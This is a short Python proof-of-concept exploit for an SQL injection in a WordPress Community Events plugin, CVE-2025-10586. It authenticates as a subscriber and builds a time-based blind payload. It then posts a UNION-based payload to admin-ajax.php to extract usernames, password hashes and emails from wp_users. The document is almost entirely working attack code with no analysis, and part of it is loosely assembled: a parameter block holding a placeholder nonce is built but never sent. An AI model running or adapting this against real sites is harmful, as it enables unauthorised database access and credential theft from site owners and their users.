CVE-2025-10586

# CVE-2025-10586 PoC - Community Events Plugin SQL Injection # Vulnerability: SQL Injection via 'event_venue' parameter # Affected: Community Events plugin <= 1.5.1 import requests # Target configuration TARGET_URL = "http://target-wordpress-site.com" USERNAME = "subscriber_user" PASSWORD = "subscriber_password" # Step 1: Authenticate as Subscriber-level user session = requests.Session() login_data = { "log": USERNAME, "pwd": PASSWORD, "wp-submit": "Log In", "redirect_to": f"{TARGET_URL}/wp-admin/", "testcookie": "1" } session.post(f"{TARGET_URL}/wp-login.php", data=login_data) # Step 2: Craft SQL injection payload via 'event_venue' parameter # Time-based blind SQLi payload to extract database information sql_payload = "1' AND (SELECT SLEEP(5))-- -" # Step 3: Send malicious request to the vulnerable endpoint exploit_params = { "event_venue": sql_payload, "action": "filter_events", "nonce": "obtained_nonce_value" # Need to obtain valid nonce from page } # Alternative: UNION-based injection to extract data union_payload = "1' UNION SELECT user_login, user_pass, user_email FROM wp_users-- -" response = session.post( f"{TARGET_URL}/wp-admin/admin-ajax.php", data={"action": "community_events_filter", "event_venue": union_payload} ) print(f"Response status: {response.status_code}") print(f"Response body: {response.text[:500]}") # Step 4: Extract sensitive information from response # If successful, the response will contain database records including user credentials

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